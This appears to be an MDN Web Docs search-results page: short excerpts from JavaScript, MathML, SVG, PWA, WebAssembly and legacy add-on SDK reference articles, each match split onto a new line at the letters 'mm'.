mming languages, can be compared to objects in real life.
...for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a co
mma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null).
...examples are as follows: // four variables are created and assigned in a single go, // separated by co
mmas var myobj = new object(), str = 'mystring', rand = math.random(), obj = new object(); myobj.type = 'dot syntax'; myobj['date created'] = 'string with space'; myobj[str] = 'string value'; myobj[rand] = 'random number'; myobj[obj] = 'object'; myobj[''] = 'even an empty string'; console.log(myobj); please note that ...
... getter and setter used in the previous example: var o = { a: 0 }; object.defineproperties(o, { 'b': { get: function() { return this.a + 1; } }, 'c': { set: function(x) { this.a = x / 2; } } }); o.c = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.b); // runs the getter, which yields a + 1 or 6 which of the two forms to choose depends on your progra
mming style and task at hand.
Functions - JavaScript
when functions are used only once, a co
mmon pattern is an iife (i
mmediately invoked function expression).
... the function constructor note: using the function constructor to create functions is not reco
mmended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
... note: using the generatorfunction constructor to create functions is not reco
mmended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
...each must be a string that conforms to the rules for a valid javascript identifier or a list of such strings separated with a co
mma; for example "x", "thevalue", or "a,b".
Date.prototype.toUTCString() - JavaScript
description the value returned by toutcstring() is a string in the form www, dd
mmm yyyy hh:
mm:ss gmt, where: format sring description www day of week, as three letters (e.g.
... sun, mon, ...) dd day of month, as two digits with leading zero if required
mmm month, as three letters (e.g.
... jan, feb, ...) yyyy year, as four or more digits with leading zeroes if required hh hour, as two digits with leading zero if required
mm minute, as two digits with leading zero if required ss seconds, as two digits with leading zero if required prior to ecmascript 2018, the format of the return value varied according to the platform.
... the most co
mmon return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps.
MathML attribute reference - MathML
separator <mo> there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as co
mmas).
... subscriptshift <
mmultiscripts>, <msub>, <msubsup> the minimum space by which to shift the subscript below the baseline of the expression.
... supscriptshift <
mmultiscripts>, <msup>, <msubsup> the minimum space by which to shift the superscript above the baseline of the expression.
... sy
mmetric <mo> if stretchy is true, this attribute specifies whether the operator should be vertically sy
mmetric around the imaginary math axis (centered fraction line).
<mn> - MathML
the mathml <mn> element represents a numeric literal which is normally a sequence of digits with a possible separator (a dot or a co
mma).
...; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> xvi </mn> <mn> 2e10 </mn> </math> specifications specification status co
mment mathml 3.0the definition of 'mn' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mn' in that specification.
... reco
mmendation initial specification ...
<mpadded> - MathML
prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the mathml2 pseudo-unit lspace was allowed, which is no longer present in the mathml3 reco
mmendation and has been removed now.
... examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status co
mment mathml 3.0the definition of 'mpadded' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mpadded' in that specification.
... reco
mmendation initial specification ...
<ms> - MathML
the mathml <ms> element represents a string literal meant to be interpreted by progra
mming languages and computer algebra systems.
... examples <math> <ms lquote="„" rquote="“"> abc </ms> </math> specifications specification status co
mment mathml 3.0the definition of 'ms' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'ms' in that specification.
... reco
mmendation initial specification ...
<mspace> - MathML
note that some co
mmon attributes like mathcolor, mathvariant or dir have no effect on <mspace>.
... examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status co
mment mathml 3.0the definition of 'mspace' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mspace' in that specification.
... reco
mmendation initial specification ...
<mtext> - MathML
the mathml <mtext> element is used to render arbitrary text with no notational meaning, such as co
mments or annotations.
...t ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* co
mment here */ </mtext> </math> specifications specification status co
mment mathml 3.0the definition of 'mtext' in that specification.
... reco
mmendation current specification mathml 2.0the definition of 'mtext' in that specification.
... reco
mmendation initial specification ...
Digital video concepts - Web media technologies
the prime symbol, ', indicates that ga
mma compression is being used.
...in bt.709 (used for hdtv), for example, the luma value is the weighted sum of the ga
mma-corrected red, green, and blue components of the pixel, using the formula y' = 0.2126r' + 0.7152g' + 0.0722b'.
...this value is computed by subtracting the luma from the ga
mma corrected blue value; that is, u = b' - y'.
...computed by substracting luma from the ga
mma corrected red value: v = r' - y'.
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
a new way of sizing images before loading completes recognizing the problem, a wicg co
mmunity group formed to propose an intrinsicsize attribute.
...fantasai & jen si
mmons collaborated with emilio, who worked on an experimental implementation to prove it would work.
... mozilla then brought the idea up in the wicg co
mmunity group and discussed it further until representatives from chrome were onboard with the idea.
... su
mmary so there you have it — eliminating another piece of jank from web layout!
CSS and JavaScript animation performance - Web Performance
even if an element is in the middle of a transition, the new transition starts from the current style i
mmediately instead of jumping to the end css state.
...the most co
mmon property is the css transform.
... note: in nightly/developer edition, you should see that omta is enabled by default, so you might have to do the tests the other way around (test with it enabled first, then disable to test without omta.) su
mmary browsers are able to optimize rendering flows.
... in su
mmary, we should always try to create our animations using css transitions/animations where possible.
Populating the page: how browsers work - Web Performance
web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are i
mmediate.
...this mechanism is designed so that two entities attempting to co
mmunicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https.
...this handshake, or rather the tls negotiation, determines which cipher will be used to encrypt the co
mmunication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data.
... once the render tree is built, layout co
mmences.
Progressive web app structure - Progressive web apps (PWAs)
previous overview: progressive web apps next now that we know the theory behind pwas, let's look at the reco
mmended structure of an actual app.
...that way, the next time someone visits the app from the device, the ui loads from the cache i
mmediately and any new content is requested from the server (if it isn’t available in the cache already).
...you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa">fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request du
mmy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com">andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains some basic info like title, description and links to css, web manifest, gam...
... { slug: 'e
mma-3d', name: 'e
mma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/e
mma-3d' } ]; every entry has its own image in the data/img folder.
Media - Progressive web apps (PWAs)
this css (below) removes the navigation area when printing the document: @media print { #nav-area {display: none;} } some co
mmon media types are: screen color device display print printed paged media projection projected display all all media (the default) more details there are other ways to specify the media type for a set of rules.
... for print media, you normally use appropriate length units like inches (in) and points (pt = 1/72 inch), or centimeters (cm) and millimeters (
mm).
... the cursor property specifies the shape of the pointer: some of the co
mmon shapes are as follows.
...the next page describes how you can change rules dynamically by using a progra
mming language: javascript.
Mobile first - Progressive web apps (PWAs)
usage context on top of everything else, you must consider the kinds of situations mobile devices will be used in, and the kinds of tasks users most co
mmonly want to perform on mobiles.
... second, a popular option is to put the navigation menu down at the bottom of the page rather than up at the top as the expectation would co
mmonly be.
...i installed the volo automation tool by running the following on the co
mmand line sudo npm install -g volo (you'll also need to get node.js too if you don't already have it) i then created my sample project using volo create myapp mozilla/mortar-app-stub this creates a sample project inside a directory called myapp.
...volo has a number of useful co
mmands available, of which we will just use a couple: volo server: starts a local web server at localhost:8080 and runs your app through it: great for easy testing.
The building blocks of responsive design - Progressive web apps (PWAs)
for web developers, it is now fairly co
mmon to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience.
...mobiles in general (more co
mmonly in some parts of the world than others) are on lower bandwidth connections and have less memory available than desktop devices, so yes, those extra kilobytes really do count.
...there are currently some standards proposals in the works that would provide this — the w3c responsive images co
mmunity group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selectable via media query results.
...some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to progra
mmatically generate graphical effects where possible, rather than relying on image files.
direction - SVG: Scalable Vector Graphics
height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status co
mment css writing modes module level 3the definition of 'direction' in that specification.
... proposed reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification.
... candidate reco
mmendation refers to the css writing modes specification of the direction property.
... reco
mmendation initial definition ...
exponent - SVG: Scalable Vector Graphics
the exponent attribute defines the exponent of the ga
mma function.
... <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" exponent="1"/> <fefuncg type="ga
mma" exponent="1"/> <fefuncb type="ga
mma" exponent="1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" exponent="5"/> <fefuncg type="ga
mma" exponent="5"/> <fefuncb type="ga
mma" exponent="5"/> </fecomponenttransfer> ...
..."url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to ga
mma, this value specifies the exponent of the ga
mma function specifications specification status co
mment filter effects module level 1the definition of 'exponent' in that specification.
... reco
mmendation initial definition ...
fill - SVG: Scalable Vector Graphics
specifications specification status co
mment svg animations level 2the definition of 'transform' in that specification.
... candidate reco
mmendation definition for shapes and texts.
... reco
mmendation initial definition for animations scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill' in that specification.
... reco
mmendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
font-variant - SVG: Scalable Vector Graphics
has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <co
mmon-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-...
... specifications specification status co
mment css fonts module level 4the definition of 'font-variant' in that specification.
... candidate reco
mmendation added many more keywords for different types of variations.
... reco
mmendation initial definition ...
glyph-name - SVG: Scalable Vector Graphics
it is reco
mmended that glyph names be unique within a font.
... only one element is using this attribute: <glyph> context notes value <name># default value none animatable no <name># this value specifies a co
mma-separated list of names for the glyph.
... specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-name' in that specification.
... reco
mmendation initial definition ...
image-rendering - SVG: Scalable Vector Graphics
specifications specification status co
mment css images module level 3the definition of 'image-rendering' in that specification.
... candidate reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'image-rendering' in that specification.
... candidate reco
mmendation no significant change, only added a reference to css images 3 scalable vector graphics (svg) 1.1 (second edition)the definition of 'image-rendering' in that specification.
... reco
mmendation initial definition ...
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status co
mment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
... reco
mmendation initial definition for <fedisplacementmap> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fecomposite>' in that specification.
... reco
mmendation initial definition for <fecomposite> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <feblend>' in that specification.
... reco
mmendation initial definition for <feblend> ...
kernelMatrix - SVG: Scalable Vector Graphics
values are separated by space characters and/or a co
mma.
...values are separated by space characters and/or a co
mma.
... specifications specification status co
mment filter effects module level 1the definition of 'kernelmatrix' in that specification.
... reco
mmendation initial definition ...
kernelUnitLength - SVG: Scalable Vector Graphics
value <number-optional-number> default value pixel in offscreen bitmap animatable yes specifications specification status co
mment filter effects module level 1the definition of 'kernelunitlength for <fespecularlighting>' in that specification.
... reco
mmendation initial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fediffuselighting>' in that specification.
... reco
mmendation initial definition for <fediffuselighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <feconvolvematrix>' in that specification.
... reco
mmendation initial definition for <feconvolvematrix> ...
lang - SVG: Scalable Vector Graphics
the most co
mmon syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'lang' in that specification.
... candidate reco
mmendation made the lang attribute (without namespace) available on all elements and defined the interaction between both.
... reco
mmendation deprecated definition of the attribute for <glyph> elements ...
opacity - SVG: Scalable Vector Graphics
specifications specification status co
mment css color module level 4the definition of 'opacity' in that specification.
... reco
mmendation defines in more detail what this attribute applies to.
... candidate reco
mmendation references the specification in css color 3 and notes that there are some related attributes.
... reco
mmendation initial definition ...
overflow - SVG: Scalable Vector Graphics
specifications specification status co
mment css level 2 (revision 1)the definition of 'overflow' in that specification.
... reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'overflow' in that specification.
... candidate reco
mmendation simplifies the definition and outlines the values within the user agent stylesheet.
... reco
mmendation initial definition ...
refX - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refx' in that specification.
... candidate reco
mmendation added keywords left, center, and right.
... candidate reco
mmendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refx' in that specification.
... reco
mmendation initial definition for <marker> ...
refY - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refy' in that specification.
... candidate reco
mmendation added keywords left, center, and right.
... candidate reco
mmendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refy' in that specification.
... reco
mmendation initial definition for <marker> ...
requiredExtensions - SVG: Scalable Vector Graphics
it is thus reco
mmended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'requiredextensions' in that specification.
... candidate reco
mmendation iris replaced with urls scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredextensions' in that specification.
... reco
mmendation initial definition ...
rx - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'rx' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... reco
mmendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... reco
mmendation initial definition for <rect> ...
ry - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'ry' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... reco
mmendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... reco
mmendation initial definition for <rect> ...
stroke-dasharray - SVG: Scalable Vector Graphics
y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="4 1 2" /> <!-- dashes and gaps of various sizes with an even number of values --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="4 1 2 3" /> </svg> usage notes value none | <dasharray> default value none animatable yes <dasharray> a list of co
mma and/or white space separated <length>s and <percentage>s that specify the lengths of alternating dashes and gaps.
... legend compatibility unknown compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-dasharray' in that specification.
... candidate reco
mmendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dasharray' in that specification.
... reco
mmendation initial definition for shapes and texts ...
target - SVG: Scalable Vector Graphics
_parent the i
mmediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'target' in that specification.
... candidate reco
mmendation removed the _replace value.
... reco
mmendation initial definition ...
text-decoration - SVG: Scalable Vector Graphics
specifications specification status co
mment css text decoration module level 3the definition of 'text-decoration' in that specification.
... candidate reco
mmendation defines the property as a shorthand for text-decoration-line, text-decoration-style, and text-decoration-color.
... candidate reco
mmendation mainly refers to the definition in css text decoration 3 turning the property into a shorthand for text-decoration-line and text-decoration-style.
... reco
mmendation initial definition ...
u1 - SVG: Scalable Vector Graphics
co
mma is the separator character; thus, to kern a co
mma, specify the co
mma as part of a range of unicode characters or as a glyph name using the g1 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
... specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u1' in that specification.
... reco
mmendation initial definition ...
u2 - SVG: Scalable Vector Graphics
co
mma is the separator character; thus, to kern a co
mma, specify the co
mma as part of a range of unicode characters or as a glyph name using the g2 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
... specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u2' in that specification.
... reco
mmendation initial definition ...
values - SVG: Scalable Vector Graphics
a34), separated by whitespace and/or a co
mma.
... specifications specification status co
mment filter effects module level 1the definition of 'values for <fecolormatrix>' in that specification.
... reco
mmendation initial definition for <fecolormatrix> scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... reco
mmendation initial definition for <animate>, <animatecolor>, <animatemotion>, and <animatetransform> ...
viewBox - SVG: Scalable Vector Graphics
the numbers separated by whitespace and/or a co
mma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport).
... value <number>?, <number>?, <number>?, <number> default value none animatable yes specification specification status co
mment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewbox' in that specification.
... reco
mmendation initial definition ...
visibility - SVG: Scalable Vector Graphics
ical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status co
mment css level 2 (revision 1)the definition of 'visibility' in that specification.
... reco
mmendation css definition of the property scalable vector graphics (svg) 2the definition of 'visibility' in that specification.
... candidate reco
mmendation mainly refers to css 2.1 scalable vector graphics (svg) 1.1 (second edition)the definition of 'visibility' in that specification.
... reco
mmendation initial definition ...
writing-mode - SVG: Scalable Vector Graphics
specifications specification status co
mment css writing modes module level 3the definition of 'writing-mode' in that specification.
... proposed reco
mmendation definition in css writing modes 3 scalable vector graphics (svg) 2the definition of 'writing-mode' in that specification.
... candidate reco
mmendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values.
... reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
xml:lang - SVG: Scalable Vector Graphics
the most co
mmon syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification.
... candidate reco
mmendation made the lang attribute (without namespace) available on all elements and defined the interaction between both.
... reco
mmendation initial definition ...
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- co
mmon use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...ns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<foreignobject>' in that specification.
... reco
mmendation initial definition ...
<metadata> - SVG: Scalable Vector Graphics
lug"/> </g> <g id="socket4" transform="translate(160 20)"> <title>socket 4</title> <use xlink:href="#hubplug"/> </g> <g id="socket5" transform="translate(205 20)"> <title>socket 5</title> <use xlink:href="#hubplug"/> </g> </g> </symbol> <!-- computer symbol --> <symbol id="computer"> <desc>a co
mmon desktop pc</desc> <g id="monitorstand" transform="translate(40 121)"> <title>monitor stand</title> <desc>one of those cool swivelling monitor stands that sit under the monitor</desc> <path d="m0,0 s 10 10 40 12"/> <path d="m80,0 s 70 10 40 12"/> <path d="m0,20 l 10 10 s 40 12 70 10 l 80 20z"/> </g> <g id="monitor"> <title>monitor...
...--> <g id="cablen" transform="translate(242 88)"> <title>cable n</title> <desc>10baset twisted pair cable</desc> <path d="m0,0c0,-70 20,-50 60,-50"/> </g> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<metadata>' in that specification.
... candidate reco
mmendation allowed global event attributes on the element.
... reco
mmendation initial definition ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
if an element can be described by visible text, it is reco
mmended to reference that text with an aria-labelledby attribute rather than using the <title> element.
...title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification.
... reco
mmendation initial definition ...
Basic Transformations - SVG: Scalable Vector Graphics
an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are su
mmed up in an element's transform attribute.
... rotation rotating an element is quite a co
mmon task.
...for example, translate() and rotate() are co
mmon used transformations.
...detailed information about this property can be found in the svg reco
mmendation.
Introduction - SVG: Scalable Vector Graphics
flavors of svg since becoming a reco
mmendation in 2003, the most recent "full" svg version is 1.1.
...the second edition of svg 1.1 became a reco
mmendation in 2011.
... apart from the full svg reco
mmendations, the working group at the w3c introduced svg tiny and svg basic in 2003.
...in 2008, svg tiny 1.2 became a w3c reco
mmendation.
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt print books xslt: progra
mmer's reference, second edition author: michael h.
... http://www.amazon.com/xslt-progra
mme.../dp/0764543814 xslt author: doug tidwell length: 473 pages publisher: o'reilly media; 1 edition (august 15, 2001) isbn: 0596000537 doug tidwell is a senior developer at ibm and a prominent evangelist for xml technologies generally.
... http://www.amazon.com/gp/product/0596004206 digital websites world wide web consortium the w3c homepage: http://www.w3.org/ the main xsl page: http://www.w3.org/style/xsl/ the version 1.0 reco
mmendation for xslt: http://www.w3.org/tr/xslt archive of public style (css and xslt) discussions: http://lists.w3.org/archives/public/www-style/ the version 1.0 reco
mmendation for xpath: http://www.w3.org/tr/xpath the world wide web consortium is the body that publishes reco
mmendations for a number of web-based technologies, many of which become the de-facto standard.
...ken holman location: http://www.xml.com/pub/a/2000/08/holman/index.html tutorials/examples zvon xsl progra
mmers: http://www.zvon.org/o_html/group_xsl.html jeni's xslt pages index: http://www.jenitennison.com/xslt/ xmlpitstop.com stylesheet center: http://www.xmlpitstop.com/default.asp?datatype=ssc xsl tutorial index: http://www.nwalsh.com/docs/tutorials/xsl/ other cover pages extensible stylesheet language (xsl): http://www.oasis-open.org/cover/xsl.ht...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following co
mmand: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the co
mmand are as follows: -s wasm=1 — specifies that we want wasm output.
... now navigate into your new directory (again, in your emscripten compiler environment terminal window), and run the following co
mmand: emcc -o hello2.html hello2.c -o3 -s wasm=1 --shell-file html_template/shell_minimal.html the options we've passed are slightly different this time: we've specified -o hello2.html, meaning that the compiler will still output the javascript glue code and .html.
...the above co
mmand will have generated hello2.html, which will have much the same content as the template with some glue code added into load the generated wasm, run it, etc.
...from inside your latest directory (and while inside your emscripten compiler environment terminal window), compile your c code with the following co
mmand.
Compiling from Rust to WebAssembly - WebAssembly
to download and install it, enter the following co
mmand into your terminal: $ cargo install wasm-pack install node.js we are building an npm package in this tutorial, and so you need to have node.js and npm installed.
...we give a high-level explanation here, and gloss over some details; to learn more about rust, please check the free online book the rust progra
mming language.
... using wasm-bindgen to co
mmunicate between rust and javascript the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust.
... the third line contains a use co
mmand, which imports code from a library into your code.
Using the WebAssembly JavaScript API - WebAssembly
note: since an arraybuffer’s bytelength is i
mmutable, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any previous arraybuffer objects become “detached”, or disconnected from the underlying memory they previously pointed to.
... thus, tables are currently a rather low-level primitive used to compile low-level progra
mming language features safely and portably.
... the mutations are i
mmediately accessible via table.prototype.get() in javascript, and to wasm modules.
... su
mmary this article has taken you through the basics of using the webassembly javascript api to include a webassembly module in a javascript context and make use of its functions, and how to use webassembly memory and tables in javascript.
Cross-domain Content Scripts - Archive of obsolete content
cross-domain xmlhttprequest the following add-on creates a panel whose content is the su
mmary weather forecast for shetland.
...how", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_su
mmary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse =...
... json.parse(request.responsetext); var su
mmary = getsu
mmary(jsonresponse); var element = document.getelementbyid("forecast_su
mmary"); element.textcontent = su
mmary; }; request.send(); }); function getsu
mmary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.metoffice.gov.uk"] } content permissions and unsafewindow if you use "cross-domain-content", then javascript values in content scripts will not be available from pages.
XUL Migration Guide - Archive of obsolete content
there is a collection of co
mmunity-developed modules that includes various user interface components.
...but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts co
mmunicate by sending each other json messages: in fact, the ability to co
mmunicate with the add-on scripts is the only extra privilege a content script is granted over a normal remote web page script.
... using the supported apis the sdk provides a set of high level apis providing some basic user interface components and functionality co
mmonly required by add-ons.
hotkeys - Archive of obsolete content
the following co
mmonly used hotkey combinations will not pass amo review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform.
...on the macintosh, this is the co
mmand key.
... accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and co
mmand on mac.
simple-prefs - Archive of obsolete content
there are: mandatory attributes that all preferences must have optional attributes attributes that are specific to the preference's data type mandatory co
mmon attributes these are attributes that all preferences must have.
... optional co
